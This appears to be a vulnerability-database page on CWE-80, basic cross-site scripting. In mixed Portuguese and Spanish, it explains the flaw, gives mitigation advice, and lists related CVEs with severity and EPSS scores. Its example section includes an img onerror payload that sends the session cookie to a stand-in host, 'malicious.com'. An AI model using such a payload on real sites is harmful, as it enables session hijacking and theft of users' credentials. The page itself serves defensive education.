Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2026-52773MEDIUMReflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php` in YesWikiEPSS 0.5%CVE-2022-36057MEDIUMDiscourse-Chat Cross-Site Scripting issue for channel names and descriptionsEPSS 0.5%CVE-2021-29467MEDIUMSelf-XSSEPSS 0.5%CVE-2022-39371HIGHStored Cross-Site Scripting (XSS) through asset inventory in GLPIEPSS 0.5%CVE-2022-39301HIGHsra-admin is vulnerable to storage cross-site scripting (XSS) via unrestricted file uploadEPSS 0.5%CVE-2025-22274LOWHTML injection in CyberArk Endpoint Privilege ManagerEPSS 0.5%CVE-2024-25690MEDIUMHTML injection in ArcGIS Web AppBuilderEPSS 0.5%CVE-2026-57167MEDIUMPeerTube: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)EPSS 0.5%CVE-2021-28803—Stored XSS Vulnerability in Q'centerEPSS 0.5%CVE-2022-1293MEDIUMXSS vulnerability in CitadelEPSS 0.5%CVE-2023-20222MEDIUMA vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) coEPSS 0.5%CVE-2024-47536MEDIUMstarcitizentools/citizen-skin vulnerable to stored, self-XSS in the "real name" fieldEPSS 0.5%CVE-2024-51735HIGHStored Cross-site Scripting to RCE on Osmedeus Web ServerEPSS 0.5%CVE-2017-20061MEDIUMElefant CMS extended Reflected cross site scritingEPSS 0.5%CVE-2024-32746MEDIUMA cross-site scripting (XSS) vulnerability in the Settings section of WonderCMS v3.4.3 allows attackers to execute arbitrary web scripts or EPSS 0.5%CVE-2023-20218MEDIUMA vulnerability in web-based management interface of Cisco SPA500 Series Analog Telephone Adapters (ATAs) could allow an authenticated, remoEPSS 0.5%CVE-2024-38859MEDIUMXSS in view page with SLA columnEPSS 0.4%CVE-2024-8145MEDIUMClassCMS Article admin cross site scriptingEPSS 0.4%CVE-2022-46350MEDIUMA vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions < V3.2.7), SCALANCE X204RNA (PRP) (All versions < V3.2.7), SCALAEPSS 0.4%CVE-2026-13225MEDIUMStored XSS in ticket confirmation pageEPSS 0.4%